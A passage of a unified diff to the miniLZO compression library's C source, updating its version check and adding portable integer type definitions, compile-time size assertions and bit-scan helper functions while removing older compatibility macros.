+# define lzo_uint32e_t unsigned short int
+#elif (LZO_SIZEOF_LONG_LONG == 4)
+# define lzo_int32e_t lzo_llong_t
+# define lzo_uint32e_t lzo_ullong_t
+#elif 1 && !(LZO_CFG_TYPE_NO_MODE_SI) && (LZO_CC_CLANG || (LZO_CC_GNUC >= 0x025f00ul) || LZO_CC_LLVM) && (__INT_MAX__+0 > 2147483647L)
+ typedef int lzo_int32e_si_t__ __attribute__((__mode__(__SI__)));
+ typedef unsigned int lzo_uint32e_si_t__ __attribute__((__mode__(__SI__)));
+# define lzo_int32e_t lzo_int32e_si_t__
+# define lzo_uint32e_t lzo_uint32e_si_t__
+#elif 1 && !(LZO_CFG_TYPE_NO_MODE_SI) && (LZO_CC_GNUC >= 0x025f00ul) && defined(__AVR__) && (__LONG_MAX__+0 == 32767L)
+ typedef int lzo_int32e_si_t__ __attribute__((__mode__(__SI__)));
+ typedef unsigned int lzo_uint32e_si_t__ __attribute__((__mode__(__SI__)));
+# define lzo_int32e_t lzo_int32e_si_t__
+# define lzo_uint32e_t lzo_uint32e_si_t__
+# define LZO_INT32_C(c) (c##LL)
+# define LZO_UINT32_C(c) (c##ULL)
+#elif (LZO_SIZEOF___INT32 == 4)
+# define lzo_int32e_t __int32
+# define lzo_uint32e_t unsigned __int32
+#else
+#endif
+#endif
+#if defined(lzo_int32e_t)
+# define LZO_SIZEOF_LZO_INT32E_T 4
+ LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_int32e_t) == 4)
+ LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_int32e_t) == LZO_SIZEOF_LZO_INT32E_T)
+#endif
+#if !defined(lzo_int64e_t)
+#if (LZO_SIZEOF___INT64 == 8)
+# if (LZO_CC_BORLANDC) && !(LZO_CFG_TYPE_PREFER___INT64)
+# define LZO_CFG_TYPE_PREFER___INT64 1
+# endif
+#endif
+#if (LZO_SIZEOF_INT == 8) && (LZO_SIZEOF_INT < LZO_SIZEOF_LONG)
+# define lzo_int64e_t int
+# define lzo_uint64e_t unsigned int
+# define LZO_SIZEOF_LZO_INT64E_T LZO_SIZEOF_INT
+#elif (LZO_SIZEOF_LONG == 8)
+# define lzo_int64e_t long int
+# define lzo_uint64e_t unsigned long int
+# define LZO_SIZEOF_LZO_INT64E_T LZO_SIZEOF_LONG
+#elif (LZO_SIZEOF_LONG_LONG == 8) && !(LZO_CFG_TYPE_PREFER___INT64)
+# define lzo_int64e_t lzo_llong_t
+# define lzo_uint64e_t lzo_ullong_t
+# if (LZO_CC_BORLANDC)
+# define LZO_INT64_C(c) ((c) + 0ll)
+# define LZO_UINT64_C(c) ((c) + 0ull)
+# elif 0
+# define LZO_INT64_C(c) (__lzo_gnuc_extension__ (c##LL))
+# define LZO_UINT64_C(c) (__lzo_gnuc_extension__ (c##ULL))
+# else
+# define LZO_INT64_C(c) (c##LL)
+# define LZO_UINT64_C(c) (c##ULL)
+# endif
+# define LZO_SIZEOF_LZO_INT64E_T LZO_SIZEOF_LONG_LONG
+#elif (LZO_SIZEOF___INT64 == 8)
+# define lzo_int64e_t __int64
+# define lzo_uint64e_t unsigned __int64
+# if (LZO_CC_BORLANDC)
+# define LZO_INT64_C(c) ((c) + 0i64)
+# define LZO_UINT64_C(c) ((c) + 0ui64)
+# else
+# define LZO_INT64_C(c) (c##i64)
+# define LZO_UINT64_C(c) (c##ui64)
+# endif
+# define LZO_SIZEOF_LZO_INT64E_T LZO_SIZEOF___INT64
+#else
+#endif
+#endif
+#if defined(lzo_int64e_t)
+ LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_int64e_t) == 8)
+ LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_int64e_t) == LZO_SIZEOF_LZO_INT64E_T)
+#endif
+#if !defined(lzo_int32l_t)
+#if defined(lzo_int32e_t)
+# define lzo_int32l_t lzo_int32e_t
+# define lzo_uint32l_t lzo_uint32e_t
+# define LZO_SIZEOF_LZO_INT32L_T LZO_SIZEOF_LZO_INT32E_T
+#elif (LZO_SIZEOF_INT >= 4) && (LZO_SIZEOF_INT < LZO_SIZEOF_LONG)
+# define lzo_int32l_t int
+# define lzo_uint32l_t unsigned int
+# define LZO_SIZEOF_LZO_INT32L_T LZO_SIZEOF_INT
+#elif (LZO_SIZEOF_LONG >= 4)
+# define lzo_int32l_t long int
+# define lzo_uint32l_t unsigned long int
+# define LZO_SIZEOF_LZO_INT32L_T LZO_SIZEOF_LONG
+#else
+# error "lzo_int32l_t"
+#endif
+#endif
+#if 1
+ LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_int32l_t) >= 4)
+ LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_int32l_t) == LZO_SIZEOF_LZO_INT32L_T)
+#endif
+#if !defined(lzo_int64l_t)
+#if defined(lzo_int64e_t)
+# define lzo_int64l_t lzo_int64e_t
+# define lzo_uint64l_t lzo_uint64e_t
+# define LZO_SIZEOF_LZO_INT64L_T LZO_SIZEOF_LZO_INT64E_T
+#else
+#endif
+#endif
+#if defined(lzo_int64l_t)
+ LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_int64l_t) >= 8)
+ LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_int64l_t) == LZO_SIZEOF_LZO_INT64L_T)
+#endif
+#if !defined(lzo_int32f_t)
+#if (LZO_SIZEOF_SIZE_T >= 8)
+# define lzo_int32f_t lzo_int64l_t
+# define lzo_uint32f_t lzo_uint64l_t
+# define LZO_SIZEOF_LZO_INT32F_T LZO_SIZEOF_LZO_INT64L_T
+#else
+# define lzo_int32f_t lzo_int32l_t
+# define lzo_uint32f_t lzo_uint32l_t
+# define LZO_SIZEOF_LZO_INT32F_T LZO_SIZEOF_LZO_INT32L_T
+#endif
+#endif
+#if 1
+ LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_int32f_t) >= 4)
+ LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_int32f_t) == LZO_SIZEOF_LZO_INT32F_T)
+#endif
+#if !defined(lzo_int64f_t)
+#if defined(lzo_int64l_t)
+# define lzo_int64f_t lzo_int64l_t
+# define lzo_uint64f_t lzo_uint64l_t
+# define LZO_SIZEOF_LZO_INT64F_T LZO_SIZEOF_LZO_INT64L_T
+#else
+#endif
+#endif
+#if defined(lzo_int64f_t)
+ LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_int64f_t) >= 8)
+ LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_int64f_t) == LZO_SIZEOF_LZO_INT64F_T)
+#endif
+#if !defined(lzo_intptr_t)
+#if 1 && (LZO_OS_OS400 && (LZO_SIZEOF_VOID_P == 16))
+# define __LZO_INTPTR_T_IS_POINTER 1
+ typedef char* lzo_intptr_t;
+ typedef char* lzo_uintptr_t;
+# define lzo_intptr_t lzo_intptr_t
+# define lzo_uintptr_t lzo_uintptr_t
+# define LZO_SIZEOF_LZO_INTPTR_T LZO_SIZEOF_VOID_P
+#elif (LZO_CC_MSC && (_MSC_VER >= 1300) && (LZO_SIZEOF_VOID_P == 4) && (LZO_SIZEOF_INT == 4))
+ typedef __w64 int lzo_intptr_t;
+ typedef __w64 unsigned int lzo_uintptr_t;
+# define lzo_intptr_t lzo_intptr_t
+# define lzo_uintptr_t lzo_uintptr_t
+# define LZO_SIZEOF_LZO_INTPTR_T LZO_SIZEOF_INT
+#elif (LZO_SIZEOF_SHORT == LZO_SIZEOF_VOID_P) && (LZO_SIZEOF_INT > LZO_SIZEOF_VOID_P)
+# define lzo_intptr_t short
+# define lzo_uintptr_t unsigned short
+# define LZO_SIZEOF_LZO_INTPTR_T LZO_SIZEOF_SHORT
+#elif (LZO_SIZEOF_INT >= LZO_SIZEOF_VOID_P) && (LZO_SIZEOF_INT < LZO_SIZEOF_LONG)
+# define lzo_intptr_t int
+# define lzo_uintptr_t unsigned int
+# define LZO_SIZEOF_LZO_INTPTR_T LZO_SIZEOF_INT
+#elif (LZO_SIZEOF_LONG >= LZO_SIZEOF_VOID_P)
+# define lzo_intptr_t long
+# define lzo_uintptr_t unsigned long
+# define LZO_SIZEOF_LZO_INTPTR_T LZO_SIZEOF_LONG
+#elif (LZO_SIZEOF_LZO_INT64L_T >= LZO_SIZEOF_VOID_P)
+# define lzo_intptr_t lzo_int64l_t
+# define lzo_uintptr_t lzo_uint64l_t
+# define LZO_SIZEOF_LZO_INTPTR_T LZO_SIZEOF_LZO_INT64L_T
+#else
+# error "lzo_intptr_t"
+#endif
+#endif
+#if 1
+ LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_intptr_t) >= sizeof(void *))
+ LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_intptr_t) == sizeof(lzo_uintptr_t))
+#endif
+#if !defined(lzo_word_t)
+#if defined(LZO_WORDSIZE) && (LZO_WORDSIZE+0 > 0)
+#if (LZO_WORDSIZE == LZO_SIZEOF_LZO_INTPTR_T) && !(__LZO_INTPTR_T_IS_POINTER)
+# define lzo_word_t lzo_uintptr_t
+# define lzo_sword_t lzo_intptr_t
+# define LZO_SIZEOF_LZO_WORD_T LZO_SIZEOF_LZO_INTPTR_T
+#elif (LZO_WORDSIZE == LZO_SIZEOF_LONG)
+# define lzo_word_t unsigned long
+# define lzo_sword_t long
+# define LZO_SIZEOF_LZO_WORD_T LZO_SIZEOF_LONG
+#elif (LZO_WORDSIZE == LZO_SIZEOF_INT)
+# define lzo_word_t unsigned int
+# define lzo_sword_t int
+# define LZO_SIZEOF_LZO_WORD_T LZO_SIZEOF_INT
+#elif (LZO_WORDSIZE == LZO_SIZEOF_SHORT)
+# define lzo_word_t unsigned short
+# define lzo_sword_t short
+# define LZO_SIZEOF_LZO_WORD_T LZO_SIZEOF_SHORT
+#elif (LZO_WORDSIZE == 1)
+# define lzo_word_t unsigned char
+# define lzo_sword_t signed char
+# define LZO_SIZEOF_LZO_WORD_T 1
+#elif (LZO_WORDSIZE == LZO_SIZEOF_LZO_INT64L_T)
+# define lzo_word_t lzo_uint64l_t
+# define lzo_sword_t lzo_int64l_t
+# define LZO_SIZEOF_LZO_WORD_T LZO_SIZEOF_LZO_INT64L_T
+#elif (LZO_ARCH_SPU) && (LZO_CC_GNUC)
+#if 0
+ typedef unsigned lzo_word_t __attribute__((__mode__(__V16QI__)));
+ typedef int lzo_sword_t __attribute__((__mode__(__V16QI__)));
+# define lzo_word_t lzo_word_t
+# define lzo_sword_t lzo_sword_t
+# define LZO_SIZEOF_LZO_WORD_T 16
+#endif
+#else
+# error "lzo_word_t"
+#endif
+#endif
+#endif
+#if 1 && defined(lzo_word_t)
+ LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_word_t) == LZO_WORDSIZE)
+ LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_sword_t) == LZO_WORDSIZE)
+#endif
+#if 1
+#define lzo_int8_t signed char
+#define lzo_uint8_t unsigned char
+#define LZO_SIZEOF_LZO_INT8_T 1
+LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_int8_t) == 1)
+LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_int8_t) == sizeof(lzo_uint8_t))
+#endif
+#if defined(lzo_int16e_t)
+#define lzo_int16_t lzo_int16e_t
+#define lzo_uint16_t lzo_uint16e_t
+#define LZO_SIZEOF_LZO_INT16_T LZO_SIZEOF_LZO_INT16E_T
+LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_int16_t) == 2)
+LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_int16_t) == sizeof(lzo_uint16_t))
+#endif
+#if defined(lzo_int32e_t)
+#define lzo_int32_t lzo_int32e_t
+#define lzo_uint32_t lzo_uint32e_t
+#define LZO_SIZEOF_LZO_INT32_T LZO_SIZEOF_LZO_INT32E_T
+LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_int32_t) == 4)
+LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_int32_t) == sizeof(lzo_uint32_t))
+#endif
+#if defined(lzo_int64e_t)
+#define lzo_int64_t lzo_int64e_t
+#define lzo_uint64_t lzo_uint64e_t
+#define LZO_SIZEOF_LZO_INT64_T LZO_SIZEOF_LZO_INT64E_T
+LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_int64_t) == 8)
+LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_int64_t) == sizeof(lzo_uint64_t))
+#endif
+#if 1
+#define lzo_int_least32_t lzo_int32l_t
+#define lzo_uint_least32_t lzo_uint32l_t
+#define LZO_SIZEOF_LZO_INT_LEAST32_T LZO_SIZEOF_LZO_INT32L_T
+LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_int_least32_t) >= 4)
+LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_int_least32_t) == sizeof(lzo_uint_least32_t))
+#endif
+#if defined(lzo_int64l_t)
+#define lzo_int_least64_t lzo_int64l_t
+#define lzo_uint_least64_t lzo_uint64l_t
+#define LZO_SIZEOF_LZO_INT_LEAST64_T LZO_SIZEOF_LZO_INT64L_T
+LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_int_least64_t) >= 8)
+LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_int_least64_t) == sizeof(lzo_uint_least64_t))
+#endif
+#if 1
+#define lzo_int_fast32_t lzo_int32f_t
+#define lzo_uint_fast32_t lzo_uint32f_t
+#define LZO_SIZEOF_LZO_INT_FAST32_T LZO_SIZEOF_LZO_INT32F_T
+LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_int_fast32_t) >= 4)
+LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_int_fast32_t) == sizeof(lzo_uint_fast32_t))
+#endif
+#if defined(lzo_int64f_t)
+#define lzo_int_fast64_t lzo_int64f_t
+#define lzo_uint_fast64_t lzo_uint64f_t
+#define LZO_SIZEOF_LZO_INT_FAST64_T LZO_SIZEOF_LZO_INT64F_T
+LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_int_fast64_t) >= 8)
+LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_int_fast64_t) == sizeof(lzo_uint_fast64_t))
+#endif
+#if !defined(LZO_INT16_C)
+# if (LZO_BROKEN_INTEGRAL_CONSTANTS) && (LZO_SIZEOF_INT >= 2)
+# define LZO_INT16_C(c) ((c) + 0)
+# define LZO_UINT16_C(c) ((c) + 0U)
+# elif (LZO_BROKEN_INTEGRAL_CONSTANTS) && (LZO_SIZEOF_LONG >= 2)
+# define LZO_INT16_C(c) ((c) + 0L)
+# define LZO_UINT16_C(c) ((c) + 0UL)
+# elif (LZO_SIZEOF_INT >= 2)
+# define LZO_INT16_C(c) (c)
+# define LZO_UINT16_C(c) (c##U)
+# elif (LZO_SIZEOF_LONG >= 2)
+# define LZO_INT16_C(c) (c##L)
+# define LZO_UINT16_C(c) (c##UL)
+# else
+# error "LZO_INT16_C"
+# endif
+#endif
+#if !defined(LZO_INT32_C)
+# if (LZO_BROKEN_INTEGRAL_CONSTANTS) && (LZO_SIZEOF_INT >= 4)
+# define LZO_INT32_C(c) ((c) + 0)
+# define LZO_UINT32_C(c) ((c) + 0U)
+# elif (LZO_BROKEN_INTEGRAL_CONSTANTS) && (LZO_SIZEOF_LONG >= 4)
+# define LZO_INT32_C(c) ((c) + 0L)
+# define LZO_UINT32_C(c) ((c) + 0UL)
+# elif (LZO_SIZEOF_INT >= 4)
+# define LZO_INT32_C(c) (c)
+# define LZO_UINT32_C(c) (c##U)
+# elif (LZO_SIZEOF_LONG >= 4)
+# define LZO_INT32_C(c) (c##L)
+# define LZO_UINT32_C(c) (c##UL)
+# elif (LZO_SIZEOF_LONG_LONG >= 4)
+# define LZO_INT32_C(c) (c##LL)
+# define LZO_UINT32_C(c) (c##ULL)
+# else
+# error "LZO_INT32_C"
+# endif
+#endif
+#if !defined(LZO_INT64_C) && defined(lzo_int64l_t)
+# if (LZO_BROKEN_INTEGRAL_CONSTANTS) && (LZO_SIZEOF_INT >= 8)
+# define LZO_INT64_C(c) ((c) + 0)
+# define LZO_UINT64_C(c) ((c) + 0U)
+# elif (LZO_BROKEN_INTEGRAL_CONSTANTS) && (LZO_SIZEOF_LONG >= 8)
+# define LZO_INT64_C(c) ((c) + 0L)
+# define LZO_UINT64_C(c) ((c) + 0UL)
+# elif (LZO_SIZEOF_INT >= 8)
+# define LZO_INT64_C(c) (c)
+# define LZO_UINT64_C(c) (c##U)
+# elif (LZO_SIZEOF_LONG >= 8)
+# define LZO_INT64_C(c) (c##L)
+# define LZO_UINT64_C(c) (c##UL)
+# else
+# error "LZO_INT64_C"
+# endif
+#endif
+#endif
#endif
@@ -1873,7 +3020,7 @@
#undef LZO_HAVE_CONFIG_H
#include "minilzo.h"
-#if !defined(MINILZO_VERSION) || (MINILZO_VERSION != 0x2040)
+#if !defined(MINILZO_VERSION) || (MINILZO_VERSION != 0x2070)
# error "version mismatch in miniLZO source files"
#endif
@@ -1885,23 +3032,9 @@
#define __LZO_CONF_H 1
#if !defined(__LZO_IN_MINILZO)
-#if (LZO_CFG_FREESTANDING)
+#if defined(LZO_CFG_FREESTANDING) && (LZO_CFG_FREESTANDING)
# define LZO_LIBC_FREESTANDING 1
# define LZO_OS_FREESTANDING 1
-# define ACC_LIBC_FREESTANDING 1
-# define ACC_OS_FREESTANDING 1
-#endif
-#if (LZO_CFG_NO_UNALIGNED)
-# define ACC_CFG_NO_UNALIGNED 1
-#endif
-#if (LZO_ARCH_GENERIC)
-# define ACC_ARCH_GENERIC 1
-#endif
-#if (LZO_ABI_NEUTRAL_ENDIAN)
-# define ACC_ABI_NEUTRAL_ENDIAN 1
-#endif
-#if (LZO_HAVE_CONFIG_H)
-# define ACC_CONFIG_NO_HEADER 1
#endif
#if defined(LZO_CFG_EXTRA_CONFIG_HEADER)
# include LZO_CFG_EXTRA_CONFIG_HEADER
@@ -1910,22 +3043,27 @@
# error "include this file first"
#endif
#include "lzo/lzoconf.h"
+#if defined(LZO_CFG_EXTRA_CONFIG_HEADER2)
+# include LZO_CFG_EXTRA_CONFIG_HEADER2
+#endif
#endif
-#if (LZO_VERSION < 0x02000) || !defined(__LZOCONF_H_INCLUDED)
+#if (LZO_VERSION < 0x2070) || !defined(__LZOCONF_H_INCLUDED)
# error "version mismatch"
#endif
-#if (LZO_CC_BORLANDC && LZO_ARCH_I086)
-# pragma option -h
+#if (LZO_CC_MSC && (_MSC_VER >= 1000 && _MSC_VER < 1100))
+# pragma warning(disable: 4702)
#endif
-
#if (LZO_CC_MSC && (_MSC_VER >= 1000))
# pragma warning(disable: 4127 4701)
+# pragma warning(disable: 4514 4710 4711)
#endif
#if (LZO_CC_MSC && (_MSC_VER >= 1300))
# pragma warning(disable: 4820)
-# pragma warning(disable: 4514 4710 4711)
+#endif
+#if (LZO_CC_MSC && (_MSC_VER >= 1800))
+# pragma warning(disable: 4746)
#endif
#if (LZO_CC_SUNPROC)
@@ -1936,49 +3074,16 @@
#endif
#endif
-#if (__LZO_MMODEL_HUGE) && !(LZO_HAVE_MM_HUGE_PTR)
-# error "this should not happen - check defines for __huge"
-#endif
-
-#if defined(__LZO_IN_MINILZO) || defined(LZO_CFG_FREESTANDING)
-#elif (LZO_OS_DOS16 || LZO_OS_OS216 || LZO_OS_WIN16)
-# define ACC_WANT_ACC_INCD_H 1
-# define ACC_WANT_ACC_INCE_H 1
-# define ACC_WANT_ACC_INCI_H 1
+#if defined(__LZO_IN_MINILZO) || (LZO_CFG_FREESTANDING)
#elif 1
# include <string.h>
#else
-# define ACC_WANT_ACC_INCD_H 1
+# define LZO_WANT_ACC_INCD_H 1
#endif
-
-#if (LZO_ARCH_I086)
-# define ACC_MM_AHSHIFT LZO_MM_AHSHIFT
-# define ACC_PTR_FP_OFF(x) (((const unsigned __far*)&(x))[0])
-# define ACC_PTR_FP_SEG(x) (((const unsigned __far*)&(x))[1])
-# define ACC_PTR_MK_FP(s,o) ((void __far*)(((unsigned long)(s)<<16)+(unsigned)(o)))
+#if defined(LZO_HAVE_CONFIG_H)
+# define LZO_CFG_NO_CONFIG_HEADER 1
#endif
-#if !defined(lzo_uintptr_t)
-# if defined(__LZO_MMODEL_HUGE)
-# define lzo_uintptr_t unsigned long
-# elif 1 && defined(LZO_OS_OS400) && (LZO_SIZEOF_VOID_P == 16)
-# define __LZO_UINTPTR_T_IS_POINTER 1
- typedef char* lzo_uintptr_t;
-# define lzo_uintptr_t lzo_uintptr_t
-# elif (LZO_SIZEOF_SIZE_T == LZO_SIZEOF_VOID_P)
-# define lzo_uintptr_t size_t
-# elif (LZO_SIZEOF_LONG == LZO_SIZEOF_VOID_P)
-# define lzo_uintptr_t unsigned long
-# elif (LZO_SIZEOF_INT == LZO_SIZEOF_VOID_P)
-# define lzo_uintptr_t unsigned int
-# elif (LZO_SIZEOF_LONG_LONG == LZO_SIZEOF_VOID_P)
-# define lzo_uintptr_t unsigned long long
-# else
-# define lzo_uintptr_t size_t
-# endif
-#endif
-LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_uintptr_t) >= sizeof(lzo_voidp))
-
#if 1 && !defined(LZO_CFG_FREESTANDING)
#if 1 && !defined(HAVE_STRING_H)
#define HAVE_STRING_H 1
@@ -2001,6 +3106,23 @@
#include <string.h>
#endif
+#if 1 || defined(lzo_int8_t) || defined(lzo_uint8_t)
+LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_int8_t) == 1)
+LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_uint8_t) == 1)
+#endif
+#if 1 || defined(lzo_int16_t) || defined(lzo_uint16_t)
+LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_int16_t) == 2)
+LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_uint16_t) == 2)
+#endif
+#if 1 || defined(lzo_int32_t) || defined(lzo_uint32_t)
+LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_int32_t) == 4)
+LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_uint32_t) == 4)
+#endif
+#if defined(lzo_int64_t) || defined(lzo_uint64_t)
+LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_int64_t) == 8)
+LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_uint64_t) == 8)
+#endif
+
#if (LZO_CFG_FREESTANDING)
# undef HAVE_MEMCMP
# undef HAVE_MEMCPY
@@ -2011,28 +3133,28 @@
#if !(HAVE_MEMCMP)
# undef memcmp
# define memcmp(a,b,c) lzo_memcmp(a,b,c)
-#elif !(__LZO_MMODEL_HUGE)
+#else
# undef lzo_memcmp
# define lzo_memcmp(a,b,c) memcmp(a,b,c)
#endif
#if !(HAVE_MEMCPY)
# undef memcpy
# define memcpy(a,b,c) lzo_memcpy(a,b,c)
-#elif !(__LZO_MMODEL_HUGE)
+#else
# undef lzo_memcpy
# define lzo_memcpy(a,b,c) memcpy(a,b,c)
#endif
#if !(HAVE_MEMMOVE)
# undef memmove
# define memmove(a,b,c) lzo_memmove(a,b,c)
-#elif !(__LZO_MMODEL_HUGE)
+#else
# undef lzo_memmove
# define lzo_memmove(a,b,c) memmove(a,b,c)
#endif
#if !(HAVE_MEMSET)
# undef memset
# define memset(a,b,c) lzo_memset(a,b,c)
-#elif !(__LZO_MMODEL_HUGE)
+#else
# undef lzo_memset
# define lzo_memset(a,b,c) memset(a,b,c)
#endif
@@ -2057,27 +3179,29 @@
# define BOUNDS_CHECKING_OFF_IN_EXPR(expr) (expr)
#endif
-#if !defined(__lzo_inline)
-# define __lzo_inline /*empty*/
-#endif
-#if !defined(__lzo_forceinline)
-# define __lzo_forceinline /*empty*/
-#endif
-#if !defined(__lzo_noinline)
-# define __lzo_noinline /*empty*/
-#endif
-
#if (LZO_CFG_PGO)
-# undef __acc_likely
-# undef __acc_unlikely
# undef __lzo_likely
# undef __lzo_unlikely
-# define __acc_likely(e) (e)
-# define __acc_unlikely(e) (e)
# define __lzo_likely(e) (e)
# define __lzo_unlikely(e) (e)
#endif
+#undef _
+#undef __
+#undef ___
+#undef ____
+#undef _p0
+#undef _p1
+#undef _p2
+#undef _p3
+#undef _p4
+#undef _s0
+#undef _s1
+#undef _s2
+#undef _s3
+#undef _s4
+#undef _ww
+
#if 1
# define LZO_BYTE(x) ((unsigned char) (x))
#else
@@ -2096,48 +3220,548 @@
#define LZO_SIZE(bits) (1u << (bits))
#define LZO_MASK(bits) (LZO_SIZE(bits) - 1)
-#define LZO_LSIZE(bits) (1ul << (bits))
-#define LZO_LMASK(bits) (LZO_LSIZE(bits) - 1)
-
#define LZO_USIZE(bits) ((lzo_uint) 1 << (bits))
#define LZO_UMASK(bits) (LZO_USIZE(bits) - 1)
#if !defined(DMUL)
#if 0
-# define DMUL(a,b) ((lzo_xint) ((lzo_uint32)(a) * (lzo_uint32)(b)))
+# define DMUL(a,b) ((lzo_xint) ((lzo_uint32_t)(a) * (lzo_uint32_t)(b)))
#else
# define DMUL(a,b) ((lzo_xint) ((a) * (b)))
#endif
#endif
-#if 1 && !(LZO_CFG_NO_UNALIGNED)
-#if 1 && (LZO_ARCH_AMD64 || LZO_ARCH_I386 || LZO_ARCH_POWERPC)
-# if (LZO_SIZEOF_SHORT == 2)
-# define LZO_UNALIGNED_OK_2 1
-# endif
-# if (LZO_SIZEOF_INT == 4)
-# define LZO_UNALIGNED_OK_4 1
-# endif
+#ifndef __LZO_FUNC_H
+#define __LZO_FUNC_H 1
+
+#if !defined(LZO_BITOPS_USE_ASM_BITSCAN) && !defined(LZO_BITOPS_USE_GNUC_BITSCAN) && !defined(LZO_BITOPS_USE_MSC_BITSCAN)
+#if 1 && (LZO_ARCH_AMD64) && (LZO_CC_GNUC && (LZO_CC_GNUC < 0x040000ul)) && (LZO_ASM_SYNTAX_GNUC)
+#define LZO_BITOPS_USE_ASM_BITSCAN 1
+#elif (LZO_CC_CLANG || (LZO_CC_GNUC >= 0x030400ul) || (LZO_CC_INTELC_GNUC && (__INTEL_COMPILER >= 1000)) || (LZO_CC_LLVM && (!defined(__llvm_tools_version__) || (__llvm_tools_version__+0 >= 0x010500ul))))
+#define LZO_BITOPS_USE_GNUC_BITSCAN 1
+#elif (LZO_OS_WIN32 || LZO_OS_WIN64) && ((LZO_CC_INTELC_MSC && (__INTEL_COMPILER >= 1010)) || (LZO_CC_MSC && (_MSC_VER >= 1400)))
+#define LZO_BITOPS_USE_MSC_BITSCAN 1
+#if (LZO_CC_MSC) && (LZO_ARCH_AMD64 || LZO_ARCH_I386)
+#include <intrin.h>
+#endif
+#if (LZO_CC_MSC) && (LZO_ARCH_AMD64 || LZO_ARCH_I386)
+#pragma intrinsic(_BitScanReverse)
+#pragma intrinsic(_BitScanForward)
+#endif
+#if (LZO_CC_MSC) && (LZO_ARCH_AMD64)
+#pragma intrinsic(_BitScanReverse64)
+#pragma intrinsic(_BitScanForward64)
+#endif
#endif
#endif
-#if defined(LZO_UNALIGNED_OK_2)
- LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(short) == 2)
+__lzo_static_forceinline unsigned lzo_bitops_ctlz32_func(lzo_uint32_t v)
+{
+#if (LZO_BITOPS_USE_MSC_BITSCAN) && (LZO_ARCH_AMD64 || LZO_ARCH_I386)
+ unsigned long r; (void) _BitScanReverse(&r, v); return (unsigned) r ^ 31;
+#define lzo_bitops_ctlz32(v) lzo_bitops_ctlz32_func(v)
+#elif (LZO_BITOPS_USE_ASM_BITSCAN) && (LZO_ARCH_AMD64 || LZO_ARCH_I386) && (LZO_ASM_SYNTAX_GNUC)
+ lzo_uint32_t r;
+ __asm__("bsr %1,%0" : "=r" (r) : "rm" (v) __LZO_ASM_CLOBBER_LIST_CC);
+ return (unsigned) r ^ 31;
+#define lzo_bitops_ctlz32(v) lzo_bitops_ctlz32_func(v)
+#elif (LZO_BITOPS_USE_GNUC_BITSCAN) && (LZO_SIZEOF_INT == 4)
+ unsigned r; r = (unsigned) __builtin_clz(v); return r;
+#define lzo_bitops_ctlz32(v) ((unsigned) __builtin_clz(v))
+#else
+ LZO_UNUSED(v); return 0;
#endif
-#if defined(LZO_UNALIGNED_OK_4)
- LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_uint32) == 4)
-#elif defined(LZO_ALIGNED_OK_4)
- LZO_COMPILE_TIME_ASSERT_HEADER(sizeof(lzo_uint32) == 4)
+}
+
+#if defined(lzo_uint64_t)
+__lzo_static_forceinline unsigned lzo_bitops_ctlz64_func(lzo_uint64_t v)
+{
+#if (LZO_BITOPS_USE_MSC_BITSCAN) && (LZO_ARCH_AMD64)
+ unsigned long r; (void) _BitScanReverse64(&r, v); return (unsigned) r ^ 63;
+#define lzo_bitops_ctlz64(v) lzo_bitops_ctlz64_func(v)
+#elif (LZO_BITOPS_USE_ASM_BITSCAN) && (LZO_ARCH_AMD64) && (LZO_ASM_SYNTAX_GNUC)
+ lzo_uint64_t r;
+ __asm__("bsr %1,%0" : "=r" (r) : "rm" (v) __LZO_ASM_CLOBBER_LIST_CC);
+ return (unsigned) r ^ 63;
+#define lzo_bitops_ctlz64(v) lzo_bitops_ctlz64_func(v)
+#elif (LZO_BITOPS_USE_GNUC_BITSCAN) && (LZO_SIZEOF_LONG == 8) && (LZO_WORDSIZE >= 8)
+ unsigned r; r = (unsigned) __builtin_clzl(v); return r;
+#define lzo_bitops_ctlz64(v) ((unsigned) __builtin_clzl(v))
+#elif (LZO_BITOPS_USE_GNUC_BITSCAN) && (LZO_SIZEOF_LONG_LONG == 8) && (LZO_WORDSIZE >= 8)
